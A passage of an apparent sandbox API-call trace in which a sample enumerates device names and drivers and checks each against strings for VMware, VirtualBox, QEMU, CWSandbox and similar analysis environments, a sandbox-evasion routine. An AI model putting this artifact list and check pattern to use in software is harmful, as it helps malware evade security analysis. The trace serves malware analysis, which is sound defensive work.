dwFlags=0x0, lpMem=0x26efb28 | out: hHeap=0x2670000) returned 1 [0279.084] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x9) returned 0x26efb10 [0279.084] StrStrIA (lpFirst="???????? ????", lpSrch="srootkit") returned 0x0 [0279.084] lstrlenA (lpString="srootkit") returned 8 [0279.085] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb10 | out: hHeap=0x2670000) returned 1 [0279.085] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x26efbb8 [0279.085] StrStrIA (lpFirst="???????? ????", lpSrch="VMware VMaudio") returned 0x0 [0279.085] lstrlenA (lpString="VMware VMaudio") returned 14 [0279.085] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efbb8 | out: hHeap=0x2670000) returned 1 [0279.085] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xd) returned 0x26efa20 [0279.085] StrStrIA (lpFirst="???????? ????", lpSrch="VMware Vista") returned 0x0 [0279.085] lstrlenA (lpString="VMware Vista") returned 12 [0279.085] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa20 | out: hHeap=0x2670000) returned 1 [0279.085] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xa) returned 0x26efa98 [0279.085] StrStrIA (lpFirst="???????? ????", lpSrch="VBoxVideo") returned 0x0 [0279.085] lstrlenA (lpString="VBoxVideo") returned 9 [0279.085] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa98 | out: hHeap=0x2670000) returned 1 [0279.085] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xa) returned 0x26efb10 [0279.085] StrStrIA (lpFirst="???????? ????", lpSrch="VBoxGuest") returned 0x0 [0279.085] lstrlenA (lpString="VBoxGuest") returned 9 [0279.085] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb10 | out: hHeap=0x2670000) returned 1 [0279.085] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef908 | out: hHeap=0x2670000) returned 1 [0279.085] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0279.085] GetLastError () returned 0xd [0279.085] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x623dc8, MemberIndex=0x20, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0279.086] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0279.091] GetLastError () returned 0x7a [0279.091] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x14) returned 0x26ef908 [0279.091] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, PropertyBufferSize=0xa, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, RequiredSize=0x19fe7c) returned 1 [0279.145] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x10) returned 0x26efb70 [0279.145] StrStrIA (lpFirst="?????????", lpSrch="VMware Pointing") returned 0x0 [0279.145] lstrlenA (lpString="VMware Pointing") returned 15 [0279.146] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb70 | out: hHeap=0x2670000) returned 1 [0279.146] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x13) returned 0x26ef928 [0279.146] StrStrIA (lpFirst="?????????", lpSrch="VMware Accelerated") returned 0x0 [0279.146] lstrlenA (lpString="VMware Accelerated") returned 18 [0279.146] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef928 | out: hHeap=0x2670000) returned 1 [0279.146] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26efb88 [0279.146] StrStrIA (lpFirst="?????????", lpSrch="VMware SCSI") returned 0x0 [0279.146] lstrlenA (lpString="VMware SCSI") returned 11 [0279.146] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb88 | out: hHeap=0x2670000) returned 1 [0279.146] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26efbb8 [0279.146] StrStrIA (lpFirst="?????????", lpSrch="VMware SVGA") returned 0x0 [0279.146] lstrlenA (lpString="VMware SVGA") returned 11 [0279.146] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efbb8 | out: hHeap=0x2670000) returned 1 [0279.146] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xe) returned 0x26efb88 [0279.146] StrStrIA (lpFirst="?????????", lpSrch="VMware Replay") returned 0x0 [0279.146] lstrlenA (lpString="VMware Replay") returned 13 [0279.146] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb88 | out: hHeap=0x2670000) returned 1 [0279.146] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x15) returned 0x26ef928 [0279.146] StrStrIA (lpFirst="?????????", lpSrch="VMware server memory") returned 0x0 [0279.146] lstrlenA (lpString="VMware server memory") returned 20 [0279.146] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef928 | out: hHeap=0x2670000) returned 1 [0279.146] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xa) returned 0x26efb10 [0279.146] StrStrIA (lpFirst="?????????", lpSrch="CWSandbox") returned 0x0 [0279.146] lstrlenA (lpString="CWSandbox") returned 9 [0279.146] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb10 | out: hHeap=0x2670000) returned 1 [0279.146] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xb) returned 0x26efb10 [0279.146] StrStrIA (lpFirst="?????????", lpSrch="Virtual HD") returned 0x0 [0279.146] lstrlenA (lpString="Virtual HD") returned 10 [0279.147] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb10 | out: hHeap=0x2670000) returned 1 [0279.147] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x5) returned 0x26ef8e8 [0279.147] StrStrIA (lpFirst="?????????", lpSrch="QEMU") returned 0x0 [0279.147] lstrlenA (lpString="QEMU") returned 4 [0279.147] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef8e8 | out: hHeap=0x2670000) returned 1 [0279.147] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x26efb28 [0279.147] StrStrIA (lpFirst="?????????", lpSrch="Red Hat VirtIO") returned 0x0 [0279.147] lstrlenA (lpString="Red Hat VirtIO") returned 14 [0279.147] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb28 | out: hHeap=0x2670000) returned 1 [0279.147] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x9) returned 0x26efb70 [0279.147] StrStrIA (lpFirst="?????????", lpSrch="srootkit") returned 0x0 [0279.147] lstrlenA (lpString="srootkit") returned 8 [0279.147] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb70 | out: hHeap=0x2670000) returned 1 [0279.147] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x26efaf8 [0279.147] StrStrIA (lpFirst="?????????", lpSrch="VMware VMaudio") returned 0x0 [0279.147] lstrlenA (lpString="VMware VMaudio") returned 14 [0279.147] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efaf8 | out: hHeap=0x2670000) returned 1 [0279.147] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xd) returned 0x26efb40 [0279.147] StrStrIA (lpFirst="?????????", lpSrch="VMware Vista") returned 0x0 [0279.147] lstrlenA (lpString="VMware Vista") returned 12 [0279.147] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb40 | out: hHeap=0x2670000) returned 1 [0279.147] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xa) returned 0x26efb58 [0279.147] StrStrIA (lpFirst="?????????", lpSrch="VBoxVideo") returned 0x0 [0279.147] lstrlenA (lpString="VBoxVideo") returned 9 [0279.147] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb58 | out: hHeap=0x2670000) returned 1 [0279.147] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xa) returned 0x26efb40 [0279.147] StrStrIA (lpFirst="?????????", lpSrch="VBoxGuest") returned 0x0 [0279.147] lstrlenA (lpString="VBoxGuest") returned 9 [0279.147] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb40 | out: hHeap=0x2670000) returned 1 [0279.147] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef908 | out: hHeap=0x2670000) returned 1 [0279.147] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0279.148] GetLastError () returned 0xd [0279.148] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x623dc8, MemberIndex=0x21, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0279.148] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0279.151] GetLastError () returned 0x7a [0279.151] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x20) returned 0x26ef908 [0279.151] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, PropertyBufferSize=0x10, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, RequiredSize=0x19fe7c) returned 1 [0279.153] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x10) returned 0x26efb10 [0279.153] StrStrIA (lpFirst="ACPI x64 ??? PC", lpSrch="VMware Pointing") returned 0x0 [0279.154] lstrlenA (lpString="VMware Pointing") returned 15 [0279.154] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb10 | out: hHeap=0x2670000) returned 1 [0279.154] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x13) returned 0x26ef930 [0279.154] StrStrIA (lpFirst="ACPI x64 ??? PC", lpSrch="VMware Accelerated") returned 0x0 [0279.154] lstrlenA (lpString="VMware Accelerated") returned 18 [0279.154] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef930 | out: hHeap=0x2670000) returned 1 [0279.154] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26efae0 [0279.154] StrStrIA (lpFirst="ACPI x64 ??? PC", lpSrch="VMware SCSI") returned 0x0 [0279.154] lstrlenA (lpString="VMware SCSI") returned 11 [0279.154] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efae0 | out: hHeap=0x2670000) returned 1 [0279.154] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26efb28 [0279.154] StrStrIA (lpFirst="ACPI x64 ??? PC", lpSrch="VMware SVGA") returned 0x0 [0279.154] lstrlenA (lpString="VMware SVGA") returned 11 [0279.154] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb28 | out: hHeap=0x2670000) returned 1 [0279.154] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xe) returned 0x26efa50 [0279.154] StrStrIA (lpFirst="ACPI x64 ??? PC", lpSrch="VMware Replay") returned 0x0 [0279.154] lstrlenA (lpString="VMware Replay") returned 13 [0279.154] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa50 | out: hHeap=0x2670000) returned 1 [0279.154] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x15) returned 0x26ef930 [0279.154] StrStrIA (lpFirst="ACPI x64 ??? PC", lpSrch="VMware server memory") returned 0x0 [0279.154] lstrlenA (lpString="VMware server memory") returned 20 [0279.155] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef930 | out: hHeap=0x2670000) returned 1 [0279.155] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xa) returned 0x26efbb8 [0279.155] StrStrIA (lpFirst="ACPI x64 ??? PC", lpSrch="CWSandbox") returned 0x0 [0279.155] lstrlenA (lpString="CWSandbox") returned 9 [0279.155] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efbb8 | out: hHeap=0x2670000) returned 1 [0279.155] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xb) returned 0x26efa38 [0279.155] StrStrIA (lpFirst="ACPI x64 ??? PC", lpSrch="Virtual HD") returned 0x0 [0279.155] lstrlenA (lpString="Virtual HD") returned 10 [0279.155] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa38 | out: hHeap=0x2670000) returned 1 [0279.155] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x5) returned 0x26ef828 [0279.155] StrStrIA (lpFirst="ACPI x64 ??? PC", lpSrch="QEMU") returned 0x0 [0279.155] lstrlenA (lpString="QEMU") returned 4 [0279.155] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef828 | out: hHeap=0x2670000) returned 1 [0279.155] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x26efba0 [0279.155] StrStrIA (lpFirst="ACPI x64 ??? PC", lpSrch="Red Hat VirtIO") returned 0x0 [0279.155] lstrlenA (lpString="Red Hat VirtIO") returned 14 [0279.155] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efba0 | out: hHeap=0x2670000) returned 1 [0279.155] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x9) returned 0x26efac8 [0279.155] StrStrIA (lpFirst="ACPI x64 ??? PC", lpSrch="srootkit") returned 0x0 [0279.155] lstrlenA (lpString="srootkit") returned 8 [0279.155] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efac8 | out: hHeap=0x2670000) returned 1 [0279.155] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x26efa98 [0279.155] StrStrIA (lpFirst="ACPI x64 ??? PC", lpSrch="VMware VMaudio") returned 0x0 [0279.155] lstrlenA (lpString="VMware VMaudio") returned 14 [0279.155] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa98 | out: hHeap=0x2670000) returned 1 [0279.155] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xd) returned 0x26efab0 [0279.155] StrStrIA (lpFirst="ACPI x64 ??? PC", lpSrch="VMware Vista") returned 0x0 [0279.155] lstrlenA (lpString="VMware Vista") returned 12 [0279.156] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efab0 | out: hHeap=0x2670000) returned 1 [0279.156] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xa) returned 0x26efa50 [0279.156] StrStrIA (lpFirst="ACPI x64 ??? PC", lpSrch="VBoxVideo") returned 0x0 [0279.156] lstrlenA (lpString="VBoxVideo") returned 9 [0279.156] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa50 | out: hHeap=0x2670000) returned 1 [0279.156] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xa) returned 0x26efb40 [0279.156] StrStrIA (lpFirst="ACPI x64 ??? PC", lpSrch="VBoxGuest") returned 0x0 [0279.156] lstrlenA (lpString="VBoxGuest") returned 9 [0279.156] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb40 | out: hHeap=0x2670000) returned 1 [0279.156] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef908 | out: hHeap=0x2670000) returned 1 [0279.156] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0279.156] GetLastError () returned 0x7a [0279.156] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x22) returned 0x26ef908 [0279.156] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, PropertyBufferSize=0x11, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, RequiredSize=0x19fe7c) returned 1 [0279.156] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x7) returned 0x26ef788 [0279.156] StrStrIA (lpFirst="\\Driver\\ACPI_HAL", lpSrch="vmxnet") returned 0x0 [0279.157] lstrlenA (lpString="vmxnet") returned 6 [0279.157] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef788 | out: hHeap=0x2670000) returned 1 [0279.157] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x7) returned 0x26ef878 [0279.157] StrStrIA (lpFirst="\\Driver\\ACPI_HAL", lpSrch="vmscsi") returned 0x0 [0279.157] lstrlenA (lpString="vmscsi") returned 6 [0279.157] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef878 | out: hHeap=0x2670000) returned 1 [0279.157] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x8) returned 0x26ef848 [0279.157] StrStrIA (lpFirst="\\Driver\\ACPI_HAL", lpSrch="VMAUDIO") returned 0x0 [0279.157] lstrlenA (lpString="VMAUDIO") returned 7 [0279.157] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef848 | out: hHeap=0x2670000) returned 1 [0279.157] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x8) returned 0x26ef7f8 [0279.157] StrStrIA (lpFirst="\\Driver\\ACPI_HAL", lpSrch="vmdebug") returned 0x0 [0279.157] lstrlenA (lpString="vmdebug") returned 7 [0279.157] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef7f8 | out: hHeap=0x2670000) returned 1 [0279.157] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x7) returned 0x26ef8f8 [0279.157] StrStrIA (lpFirst="\\Driver\\ACPI_HAL", lpSrch="vm3dmp") returned 0x0 [0279.157] lstrlenA (lpString="vm3dmp") returned 6 [0279.157] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef8f8 | out: hHeap=0x2670000) returned 1 [0279.157] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x9) returned 0x26efb88 [0279.157] StrStrIA (lpFirst="\\Driver\\ACPI_HAL", lpSrch="vmrawdsk") returned 0x0 [0279.157] lstrlenA (lpString="vmrawdsk") returned 8 [0279.157] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb88 | out: hHeap=0x2670000) returned 1 [0279.157] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x9) returned 0x26efb40 [0279.157] StrStrIA (lpFirst="\\Driver\\ACPI_HAL", lpSrch="vmx_svga") returned 0x0 [0279.157] lstrlenA (lpString="vmx_svga") returned 8 [0279.157] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb40 | out: hHeap=0x2670000) returned 1 [0279.157] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x8) returned 0x26ef838 [0279.157] StrStrIA (lpFirst="\\Driver\\ACPI_HAL", lpSrch="ansfltr") returned 0x0 [0279.157] lstrlenA (lpString="ansfltr") returned 7 [0279.158] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef838 | out: hHeap=0x2670000) returned 1 [0279.158] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x8) returned 0x26ef728 [0279.158] StrStrIA (lpFirst="\\Driver\\ACPI_HAL", lpSrch="sbtisht") returned 0x0 [0279.158] lstrlenA (lpString="sbtisht") returned 7 [0279.158] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef728 | out: hHeap=0x2670000) returned 1 [0279.158] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef908 | out: hHeap=0x2670000) returned 1 [0279.158] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x623dc8, MemberIndex=0x22, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0279.158] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0279.163] GetLastError () returned 0x7a [0279.163] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x18) returned 0x26ef908 [0279.163] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, PropertyBufferSize=0xc, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, RequiredSize=0x19fe7c) returned 1 [0279.168] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x10) returned 0x26efa08 [0279.168] StrStrIA (lpFirst="LPC ???????", lpSrch="VMware Pointing") returned 0x0 [0279.168] lstrlenA (lpString="VMware Pointing") returned 15 [0279.168] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa08 | out: hHeap=0x2670000) returned 1 [0279.168] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x13) returned 0x26ef928 [0279.168] StrStrIA (lpFirst="LPC ???????", lpSrch="VMware Accelerated") returned 0x0 [0279.168] lstrlenA (lpString="VMware Accelerated") returned 18 [0279.168] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef928 | out: hHeap=0x2670000) returned 1 [0279.168] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26efab0 [0279.168] StrStrIA (lpFirst="LPC ???????", lpSrch="VMware SCSI") returned 0x0 [0279.168] lstrlenA (lpString="VMware SCSI") returned 11 [0279.168] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efab0 | out: hHeap=0x2670000) returned 1 [0279.168] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26efa20 [0279.168] StrStrIA (lpFirst="LPC ???????", lpSrch="VMware SVGA") returned 0x0 [0279.168] lstrlenA (lpString="VMware SVGA") returned 11 [0279.168] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa20 | out: hHeap=0x2670000) returned 1 [0279.169] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xe) returned 0x26efba0 [0279.169] StrStrIA (lpFirst="LPC ???????", lpSrch="VMware Replay") returned 0x0 [0279.169] lstrlenA (lpString="VMware Replay") returned 13 [0279.169] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efba0 | out: hHeap=0x2670000) returned 1 [0279.169] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x15) returned 0x26ef928 [0279.169] StrStrIA (lpFirst="LPC ???????", lpSrch="VMware server memory") returned 0x0 [0279.169] lstrlenA (lpString="VMware server memory") returned 20 [0279.169] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef928 | out: hHeap=0x2670000) returned 1 [0279.169] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xa) returned 0x26efa80 [0279.169] StrStrIA (lpFirst="LPC ???????", lpSrch="CWSandbox") returned 0x0 [0279.169] lstrlenA (lpString="CWSandbox") returned 9 [0279.169] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa80 | out: hHeap=0x2670000) returned 1 [0279.169] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xb) returned 0x26efa98 [0279.169] StrStrIA (lpFirst="LPC ???????", lpSrch="Virtual HD") returned 0x0 [0279.169] lstrlenA (lpString="Virtual HD") returned 10 [0279.169] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa98 | out: hHeap=0x2670000) returned 1 [0279.169] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x5) returned 0x26ef7d8 [0279.169] StrStrIA (lpFirst="LPC ???????", lpSrch="QEMU") returned 0x0 [0279.169] lstrlenA (lpString="QEMU") returned 4 [0279.169] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef7d8 | out: hHeap=0x2670000) returned 1 [0279.169] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x26efab0 [0279.169] StrStrIA (lpFirst="LPC ???????", lpSrch="Red Hat VirtIO") returned 0x0 [0279.169] lstrlenA (lpString="Red Hat VirtIO") returned 14 [0279.169] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efab0 | out: hHeap=0x2670000) returned 1 [0279.169] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x9) returned 0x26efae0 [0279.169] StrStrIA (lpFirst="LPC ???????", lpSrch="srootkit") returned 0x0 [0279.169] lstrlenA (lpString="srootkit") returned 8 [0279.169] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efae0 | out: hHeap=0x2670000) returned 1 [0279.169] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x26efbb8 [0279.169] StrStrIA (lpFirst="LPC ???????", lpSrch="VMware VMaudio") returned 0x0 [0279.170] lstrlenA (lpString="VMware VMaudio") returned 14 [0279.170] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efbb8 | out: hHeap=0x2670000) returned 1 [0279.170] StrStrIA (lpFirst="LPC ???????", lpSrch="VMware Vista") returned 0x0 [0279.170] lstrlenA (lpString="VMware Vista") returned 12 [0279.170] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efae0 | out: hHeap=0x2670000) returned 1 [0279.170] StrStrIA (lpFirst="LPC ???????", lpSrch="VBoxVideo") returned 0x0 [0279.170] lstrlenA (lpString="VBoxVideo") returned 9 [0279.170] StrStrIA (lpFirst="LPC ???????", lpSrch="VBoxGuest") returned 0x0 [0279.170] lstrlenA (lpString="VBoxGuest") returned 9 [0279.170] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0279.170] GetLastError () returned 0x7a [0279.170] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, PropertyBufferSize=0x9, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef908, RequiredSize=0x19fe7c) returned 1 [0279.171] StrStrIA (lpFirst="msisadrv", lpSrch="vmxnet") returned 0x0 [0279.171] lstrlenA (lpString="vmxnet") returned 6 [0279.171] StrStrIA (lpFirst="msisadrv", lpSrch="vmscsi") returned 0x0 [0279.171] lstrlenA (lpString="vmscsi") returned 6 [0279.171] StrStrIA (lpFirst="msisadrv", lpSrch="VMAUDIO") returned 0x0 [0279.171] lstrlenA (lpString="VMAUDIO") returned 7 [0279.171] StrStrIA (lpFirst="msisadrv", lpSrch="vmdebug") returned 0x0 [0279.171] lstrlenA (lpString="vmdebug") returned 7 [0279.171] StrStrIA (lpFirst="msisadrv", lpSrch="vm3dmp") returned 0x0 [0279.171] lstrlenA (lpString="vm3dmp") returned 6 [0279.171] StrStrIA (lpFirst="msisadrv", lpSrch="vmrawdsk") returned 0x0 